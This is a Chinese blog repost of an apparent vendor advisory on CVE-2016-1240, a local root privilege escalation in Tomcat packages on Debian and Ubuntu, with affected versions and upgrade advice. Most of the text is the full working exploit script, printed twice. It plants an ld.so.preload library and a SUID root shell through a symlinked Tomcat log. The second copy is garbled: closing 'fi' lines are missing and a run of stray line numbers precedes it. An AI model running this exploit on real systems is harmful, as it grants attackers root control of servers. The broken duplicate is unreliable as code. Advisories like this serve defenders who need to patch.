【通告】Tomcat本地提权漏洞安全威胁 Secer's Blog - 记录互联网安全历程与个人成长经历

2016年9月30日，legalhackers.com网站发布了一个关于Tomcat漏洞的公告，所涉及漏洞的编号为CVE-2016-1240。Debian系统的Linux上管理员通常利用apt-get进行包管理，debian包的一个初始化脚本中存在漏洞，会让deb包安装程序自动执行启动脚本，脚本位置/etc/init.d/tomcatN

攻击者可以在拥有Tomcat低权限的情况下，利用该漏洞获得系统的root权限。受影响的系统包括Debian和ubuntu，其他使用debian包的系统也可能会受影响。详情请见以下链接：

http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

https://security-tracker.debian.org/tracker/CVE-2016-1240

文章目录

什么是Tomcat

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器，它也可以被视作一个单独的Web服务器。

漏洞验证程序

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

--------------[ EOF ]--------------------

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash

# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit

# CVE-2016-1240

# Discovered and coded by:

# Dawid Golunski

# http://legalhackers.com

# This exploit targets Tomcat (versions 6, 7 and 8) packaging on

# Debian-based distros including Debian, Ubuntu etc.

# It allows attackers with a tomcat shell (e.g. obtained remotely through a

# vulnerable java webapp, or locally via weak permissions on webapps in the

# Tomcat webroot directories etc.) to escalate their privileges to root.

# Usage:

# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]

# The exploit can used in two ways:

# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly

# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.

# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up

# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)

# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to

# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.

# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a

# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can

# then add arbitrary commands to the file which will be executed with root privileges by

# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default

# Ubuntu/Debian Tomcat installations).

# See full advisory for details at:

# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

# Disclaimer:

# For testing purposes only. Do no harm.

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/tomcatrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $TOMCATLOG

touch $TOMCATLOG

if [ -f /etc/ld.so.preload ]; then

echo -n > /etc/ld.so.preload 2>/dev/null

echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1

}

function ctrl_c() {

echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."

cleanexit 0

}

#intro

echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args

if [ $# -lt 1 ]; then

echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"

exit 3

if [ "$2" = "-deferred" ]; then

mode="deferred"

else

mode="active"

# Priv check

echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"

id | grep -q tomcat

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"

exit 3

# Set target paths

TOMCATLOG="$1"

if [ ! -f $TOMCATLOG ]; then

echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"

exit 3

echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default

# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.

# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been

# restarted and file owner gets changed.

if [ "$mode" = "deferred" ]; then

rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

cleanexit 3

echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"

echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"

echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges"

echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"

exit 0

# [ Active exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include <unistd.h>

#include <dlfcn.h>

uid_t geteuid(void) {

static uid_t (*old_geteuid)();

old_geteuid = dlsym(RTLD_NEXT, "geteuid");

if ( old_geteuid() == 0 ) {

chown("$BACKDOORPATH", 0, 0);

chmod("$BACKDOORPATH", 04777);

unlink("/etc/ld.so.preload");

}

return old_geteuid();

}

_solibeof_

gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl

if [ $? -ne 0 ]; then

echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

cleanexit 2;

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

cleanexit 2

# Symlink the log file to ld.so.preload

rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."

cleanexit 3

echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs

echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."

echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"

while :; do

sleep 0.1

if [ -f /etc/ld.so.preload ]; then

echo $PRIVESCLIB > /etc/ld.so.preload

break;

done

# /etc/ld.so.preload file should be owned by tomcat user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload

echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"

echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo --help 2>/dev/null >/dev/null

# Check for the rootshell

ls -l $BACKDOORPATH | grep rws | grep -q root

if [ $? -eq 0 ]; then

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"

else

echo -e "\n[!] Failed to get root"

cleanexit 2

# Execute the rootshell

echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

$BACKDOORPATH -p

# Job done.

cleanexit 0

--------------[ EOF ]--------------------

受影响的版本

受影响的debian包如下：

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

规避方案

Tomcat安全团队已经修复了受影响的包，建议用户升级到最新版本，新版本下载地址如下：

https://sources.debian.net/src/tomcat6/

https://sources.debian.net/src/tomcat7/

https://sources.debian.net/src/tomcat8/

声明

本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司（简称绿盟科技）成立于2000年4月，总部位于北京。在国内外设有30多个分支机构，为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户，提供具有核心竞争力的安全产品及解决方案，帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究，绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域，为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易，股票简称：绿盟科技，股票代码：300369。

如果您需要了解更多内容，可以
加入QQ群：486207500、570982169
直接询问：010-68438880-8669